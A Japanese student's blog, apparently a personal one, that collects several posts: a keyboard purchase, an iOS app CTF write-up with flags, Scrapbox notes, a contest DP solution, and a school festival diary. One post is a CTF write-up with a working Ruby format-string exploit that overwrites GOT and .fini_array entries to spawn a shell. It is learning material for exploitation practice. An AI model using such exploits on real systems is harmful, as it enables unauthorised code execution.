12/10
SECCONとJOI予選。 3完なのでちょっと悔しい。徹夜しなかったら解けていたかもしれない。 あとは純粋に戦略を間違えた。それぞれの小課題1でも330ぐらいにはなったからなあ。 漁師に会いたかったなーと思いつつ、でも自分にはその資格がないんだよなと思いつつ。
JOIも悔しいけど、今はpwn勉強するモチベーションの方が高い。まだCTFの険しさを知らないからなんだろうな。 半年ぐらいしたらまた他のことに手を出していそう(プロコンもあるし)。 そういう風に考えていると自分に否定的になってしまう。 この一年何も成長できてない。もしくは内田樹の文章「働くことの意味」じゃないけど、成長した成長してないというのはそのときにはわからないのかもしれない。そうだったら安心できるのだが。 そのときそのときの感情・考え方の保存・現在との比較って本当に難しい。文章化すればそれでOKではなかった。でもブログは続けよう。
HHKBは若干慣れ始めた。日本語変換に割り当てているRight Altは小指の付け根で押している。やっぱり打ってて楽しい。 全体的に右小指が忙しい。そんなものだろうか。
HHKBを買った
数年前に2000円で買ったBTCが、いつの間にか37000円に化けていたので、ヨドバシで触って感動した HHKB Professional BT を買いました。
もちろん墨無刻印。
amazon.co.jp で注文しました。パームレスト付きのを買おうとも考えたのですが、いままで使ったこともないので必要になってからでいいかと思いとりあえずキーボード本体のみ。
折角なのでいつものVプリカ(プリペイドカード)ではなくこの前届いたLINE Payカードで支払いました。
開封の儀
しっかりしてる。寮の部屋の壁が寂しいので箱を飾っておきます。Nキーゲットです pic.twitter.com/pszEDsHnpI
— se(CCON) (@sei0o) 2017年12月9日
セットアップ
DIPスイッチからMac/iOSモードに切り替えてからfcitxをいじって終わり。変換キーは右Altに割り当てました。
Bluetoothで普通に接続できたので安心。
使用感
結構音がでかいのでいい感じの作業用BGMになってくれます。タオルを敷いた。
無刻印も英字配列も初めてだけど案外普通に打てる。キーがさりげなく跳ね返ってくる感覚が最the高。
でもやっぱりミスはあるので英字に慣れるついでに無茶苦茶なタイピングの運指を修正したいです。シングルクオーテーションとかが打ちやすいので捗る。
マウスを持っていないのでMacBook Proのトラックパッドにいちいち手を伸ばすのが面倒。ショートカットキーをもっと活用するぞというお気持ち。
音ゲーには使えなさそうです(使わないけど)。
@ivRodriguezCAさんのiOS CTFを解いた
Twitterに流れてきた。テスト中の勉強の合間に解いた。
https://www.ivrodriguez.com/mobile-ctf
iOS App (.ipa
)を使ったCTF。5つFLAGがあるとのこと(2017/Dec/6現在)。
昔はiOS Appを作る側だったが、解析も面白い。
Xcodeの入ったmacOSがあるとラク。Linuxでできるかどうかはわからない。
Mach-Oとかは見ただけで敬遠してたけど、バイナリに慣れたせいかあんまりコワイ印象を持たなくなっていた。
以下 write-up 。
1つ目
Headbook.ipa
をunzipしたあと、Payload/Headbook.app/Info.plist
を見ると入ってる。
flag-EC840814-CEBA-4731-8620-CB991D850B14
2つ目
$ strings Payload/Headbook.app/Base.lproj/Main.storyboardc | grep flag
で出てくる。
Main.storyboardc
内のBYZ-38-t0r-view-8bC-Xf-vdC.nib
の中にテキストで入っている。
このnibはcompiled nibといって、xib(storyboard)のようにXcodeで直接編集することはできないし、右クリックしてもパッケージの中身を見ることができない。
compiled nibを展開してくれるeditnibというものを見つけたが、結局Xcodeで開くことはできなかった。
flag-5932744F-4810-4A6C-BD8F-66FF3E115ED6
3つ目
Payload/Headbook.app/Assets.car
の中身を見てみたい。
バイナリを読むかぎりflag@3x.png
という画像があるっぽいが...
$ file Assets.car Assets.car: Mac OS X bill of materials (BOM) file
ほう??
macOSに切り替えてXcodeからassetutil
でメタ情報を見た。
$ xcrun --sdk iphoneos assetutil --info Assets.car [ { "StorageVersion" : 14, ...(省略)... "Platform" : "ios" }, { "Compression" : "lzvn", "BitsPerSample" : 8, "LayoutDirection" : "0 - Horizontal", "AssetType" : "Image", "ColorModel" : "RGB", "Name" : "flag", "PixelWidth" : 328, "Graphics" : "GLES2,0", "Subtype" : 0, "PixelHeight" : 56, "SizeClass Horizontal" : "universal", "EdgeInsets" : "top:0 left:0 bottom:0 right:0", "Scale" : 3, "Memory" : "512MB", "Opaque" : false, "DisplayGamut" : "sRGB", "Idiom" : "universal", "Encoding" : "ARGB", "Image Type" : "kCoreThemeOnePartScale", "SizeClass Vertical" : "universal" } ]
flag
があるのは確実だとわかった。
いくつかツールを試すとpngを拾えた。が、.car
というのがどういうファイル形式なのかやっぱりよくわからない。
ツールの方ではCoreUI
を通して展開しているようだが...
https://github.com/Marxon13/iOS-Asset-Extractor
$ ./CARExtractor -i Assets.car -o output 2017-12-05 17:05:47.921 CARExtractor[9493:51744] flag_109x18_@3x.png -> IMAGE
output/flag_109x18_@3x.png
に書かれている。
flag-2F110A91-4BAC-4A18-A680-A6C2987CC2C4
4つ目
otool -ov Payload/Headbook.zip/Headbook
でMach-O形式のファイルで定義されているクラスなどを見ることができる。
$ otool -ov Headbook Headbook (architecture armv7): Contents of (__DATA,__objc_classlist) section 0000c198 0xc950 isa 0xc93c superclass 0x0 cache 0x0 vtable 0x0 data 0xc234 (struct class_ro_t *) flags 0x90 instanceStart 4 instanceSize 4 ivarLayout 0x0 name 0xa6cc LoginViewController baseMethods 0xc1e4 (struct method_list_t *) entsize 12 count 6 name 0xa755 flag types 0xb397 v8@0:4 imp 0x8419 name 0xa75a _BD570736 types 0xb397 v8@0:4 imp 0x841b name 0xa764 _D304 types 0xb397 v8@0:4 imp 0x841d name 0xa76a _400A types 0xb397 v8@0:4 imp 0x841f name 0xa770 _A6B7 types 0xb397 v8@0:4 imp 0x8421 name 0xa776 F61B02173428 types 0xb397 v8@0:4 imp 0x8423
flag
変数の初期値があるのかな??と迷っていたが、flagの形式(flag-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
)を思い出してname
の値をくっつければよいことに気づいた。
class-dumpでも同じことができる。見やすい。
$ class-dump Headbook (略) @interface LoginViewController : UIViewController { } - (void)F61B02173428; - (void)_A6B7; - (void)_400A; - (void)_D304; - (void)_BD570736; - (void)flag; @end
http://blog.dornea.nu/2014/10/29/howto-ios-apps-static-analysis/#a1b8dfa3dfb3d0fe8a97725deba497b9
iOS Appの解析の話がまとまってる。
ちなみにotool -tv Headbook
ではMach-Oに含まれるそれぞれのアーキテクチャでの逆アセンブルができる。
flag-BD570736-D304-400A-A6B7-F61B02173428
5つ目
これもMach-Oバイナリの中にある。今度はMachOViewerを使ってみる。
iOS アプリのバイナリを少しのぞいてみる
__cstring
, __cfstring
セクションに文字列が入ってそう(CFString
はNSString
と対応している)。
あった!
またはこんなことしなくても、4つ目と5つ目のflagはstrings
で読めたりする(アーキテクチャがarmv7とarm64の2つあるので2回同じのが出てくる)。
$ strings Headbook | grep -A 5 flag _BD570736 _D304 _400A _A6B7 F61B02173428 -- flag %@-%@-%@-%@-%@-%@ 9861DA53 C08C 47C4 84D6 -- flag _BD570736 _D304 _400A _A6B7 F61B02173428 -- flag %@-%@-%@-%@-%@-%@ 9861DA53 C08C 47C4 84D6
%@-%@-%@-%@-%@-%@
はNSString
で使うフォーマット文字列なので、これをシミュレータ上で実行すれば表示される...のかも(どうやって動かすんだろう?)。
flag-9861DA53-C08C-47C4-84D6-B48463AB738A
問題が更新されたら追記します。
Scrapboxを使い始めた
Scrapbox というものの評判が良いらしいので使ってみました。 Scrapboxは文書をオンラインで書いて保存するサービスで、複数人の同時編集とかもできるみたいです。
Gyazoの画像はインラインで表示できるそうですが、Linux版だと余計な線が入って撮れない...
見た目はこんな感じです。それぞれのプロジェクトの中に投稿があり、投稿同士はリンクやタグでつながる構造になっています。
フォルダなどの階層を作る仕組みはありません。
仕分けたがりな私が初めて使ったとき、階層が作れないのは不便に感じたのですが、使ってみると 分類に悩む時間がなくなっている ことに気づきました。 適当にタグを貼っておけばScrapboxがまとめてくれます。
独自記法を使っているとはいえエディタも快適で、この記事もScrapbox上で書いています。もうブログをScrapboxに移転してもいいんじゃないかってぐらい。
Markdownに変換してくれるブックマークレットも見つけました。http://daiiz.hatenablog.com/entry/2017/02/17/074508
(あれ、Firefoxのブックマークツールバーが表示できない...)
また、文章中にリンクだけ先に書いておくと、そのリンクの名前で後からページをワンクリックで作成する機能もあります。
したがって、「この内容と微妙に関わりがあるけど本題を書き上げてからまとめて書こう」といった使い方もできるのです。
スマートフォンにも対応しているので、突然思いついたことをメモしたりしてます。
いまのところは無料で使えていますが、長く続いてくれるといいな〜。
TPCTFに出た
テスト期間ですが、 昨日joinしたHarekazeからTPCTFに出ました。
私が解いたのは、朝起きて1限の防災リテラシーの時間で考えた20点の問題だけです(ア。
Not Lisp (Misc 20pts)
ctong610 is trying to write a program, but he's really bad at programming so his program has both syntax errors and is way too long.
If he has 104 pairs of parentheses, in how many ways can they be organized validly? (Note:(()())
is valid, but(()()(
is not).
Give your answer as a number mod 103.
Note: ^ in this case is exponentiation, not xor.
The flag is just a number.
FLAGは640
。
全探索だとO(220000)で無理なのでDPを使います。
"104 parentheses" ではなく "104 pairs of parentheses" なので、104個のペア、つまり 2*104 個で考えないとダメ。
#include <iostream> #include <queue> #include <iomanip> #include <map> #include <algorithm> using namespace std; ll dp[20010][10010]; // dp[i][k] := i番目までで、 "("の数-")"の数 == k になる組みあわせの数 int main() { dp[0][0] = 1; for (int i = 0; i < 20000; i++) { for (int k = 0; k < 10010; k++) { dp[i+1][k+1] += dp[i][k]; if (k>0) dp[i+1][k-1] += dp[i][k]; dp[i+1][k+1] %= 1000; if (k>0) dp[i+1][k-1] %= 1000; } } cout << dp[20000][0] << endl; return 0; }
TWMMA CTF 2016 / greeting を解いた
write-upを見た。この人競プロもCTFもできてすごいなあ。
Tokyo Westerns/MMA CTF 2nd 2016: greeting · うさぎ小屋
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録
Villager Aと同じformat string attackだが、 printf
した後にGOT overwriteされるための関数がないので困る。
そこで デストラクタ .fini_array
を書き換えれば解けるらしい。
.fini_array
の場所は readelf -S ./greeting
で見ることができる。
あとgdbでrunするとすぐ終了してしまうので戸惑った。これは tomori
セクションの nao
関数がコンストラクタになっているからで、 gdbで set follow-fork-mode parent
すれば大丈夫。
また、 脆弱性のある sprintf
では Nice to meet you,
(18文字 = 18B) が先に来ているので、 %n
で書き込む際のバイト数には気をつける(書き込みたい値からすでに書き込んだバイト数4 * nを引き、さらに18を引く)。
これに気づかず、 デストラクタから main
に戻ろうとするときにSEGVを起こして苦悶していた。
さらに、 write-upでは %12$x
を使っていたが、 AAAA
と入れても 41414141
と表示されない。それゆえはじめ自分は %23$x
を使っていた。しかしこれも、 Nice to meet you,
のため AAAA
と打つと 累計 22バイトになるからずれていた。
どうして %23$x
でダメなのかはよくわからない。
$ ./greeting Hello, I'm nao! Please tell me your name... AAAA %12$x Nice to meet you, AAAA 25204141 <--------22byte------> # 0x25204141 -> "AA %" $ ./greeting Hello, I'm nao! Please tell me your name... BBAAAA %12$x Nice to meet you, BBAAAA 41414141 <--------20byte----><4b> $ ./greeting Hello, I'm nao! Please tell me your name... AAAA %23$x Nice to meet you, AAAA 41414141
理解はできたものの実際にシェルを取れるexploitを書くのにすごく時間がかかった。
.fini_array
のアドレスも覚えてしまった(((
ライブラリも使ってみようかな。Rubyで車輪の再発明するのもアリかもしれない。
Exploit
strlen_plt = 0x08049a54 # の指すアドレスを 0x08048490 <system> に dtors_addr = 0x08049934 # の指すアドレスを 0x080485ed <main> に exploit = "AA" exploit += [strlen_plt + 2, strlen_plt, dtors_addr].pack("I*") exploit += "%#{0x0804 - 20 - 12}x" exploit += "%12$hn" exploit += "%#{0x8490 - 0x0804}x" exploit += "%13$hn" exploit += "%#{0x85ed - 0x8490}x" exploit += "%14$hn\n" print exploit print "sh\n" print "id\n"
高専祭に参加した
11/11, 12と明石高専祭にいました。
自分のいた1E(1年電気情報工学科)の展示の「高専病棟」(お化け屋敷的なもの)が、圧倒的インパクトと徹底的集票力で来客者投票1位になったようです。
展示王1位!!!!ありがとうございました!!!!(`・ω・´)ゞ!! pic.twitter.com/8FGNuxavaR
— .˚ʚ葵羽ユキɞ˚. (@a0ha0) 2017年11月12日
前日
学校の 強要 教養行事 があり、「罪と罰」の劇を見に行きました。
普通に怖くてそわそわしてしまうので来年からは行きたくないですね...もしくはもうちょっと後ろの席にしてもらうか。
服装もスーツを強要されていたのでつらかった。
inochi学生フォーラムに関するインタビューの予定を終えたあと、ちょっとCBCTFして「わからん!撤退!」しました。
そうしてやっと準備をしに教室へ。
とはいうものの特にすることがないので事前のチェックとして女装をしておきました。
十分にクオリティと地声が低いので人を怖がらせるにはうってつけです。
1日目
人が人を呼ぶという感じで待ち列が途絶えませんでした。驚き。
展示は朝からシフトだったので入って着替えてから大声で叫んでいました。
Takoの声帯は一体なにでできているんだろうか。一向に衰える気配がないので強かった。
その後るまし君に会ったのでちょっと話をして、えーと、はぐれました。
ecasdqinaとかと一緒に居たらしいのですが、仕方ないので1Eで展示を手伝っていました。
椅子に座ってうつむいて静止し、通り過ぎた先の寮生役が挨拶した後に「声が小さい!」と怒鳴る指導寮生役をしていました。攻めるなぁ
寮生役に回ったりもしたのですが、動かない方が怖さが出るということでベストポジションが確定しました。
【コラム】高専病棟患者は栄養を満足に摂取できていないので、「脚交換して」と言われるほど脚が細い
— はみす (@sei0o) 2017年11月11日
夜は4人で音ゲーしてビーフカツを食べました。
ecasdqinaとるましのARCに対する情熱がすごいね。感服。自分は帰ってすぐ寝ました。
.@Akashi_SN @lumc_ @sei0o pic.twitter.com/KsAfnBxDxb
— 激冷え (@yfba_) 2017年11月11日
2日目
1日目で他クラスの展示は十分に回ったので情報工学研究部のシフト以外はずっと1Eにこもって叫んでいました。情研にKONAMIの人がくるのビビるね。
- 「なんかおる...」
- 「ギャアアアアア」
- 「アハハハハハwwww」
- 「キモ〜」
- 「これ人形?」
来客「(自分の靴やふくらはぎを何度か掴んで)…もしかしてこれヒト?」
— はみす (@sei0o) 2017年11月12日
これよく無反応で耐えたと思う
こういった反応をされました。心が犠牲になりかねなかった。
・「ぜんぜんこわくなーいw」知るか!
— はみす (@sei0o) 2017年11月12日
・スマホゲーム勢!おい!
・シフト制がマヒしてる!
・4回も来ないで他の展示も見て!(これに関してはよく待ったなという気持ち) https://t.co/fJsB1Air11
後夜祭では、頭にサイリウムを差してアンテナのコスプレをしていると1Eのメンツと合流できました。
寮祭のときもそうだったと思うのですが、E科ってくじに弱い気がします。
中学生の時に高専祭に参加しつつ志望校を迷っていたのを思い出しました。あの時の決断を間違いだったと言わせないためにも頑張ろうと思います。頑張り方がわからないので良くないですが。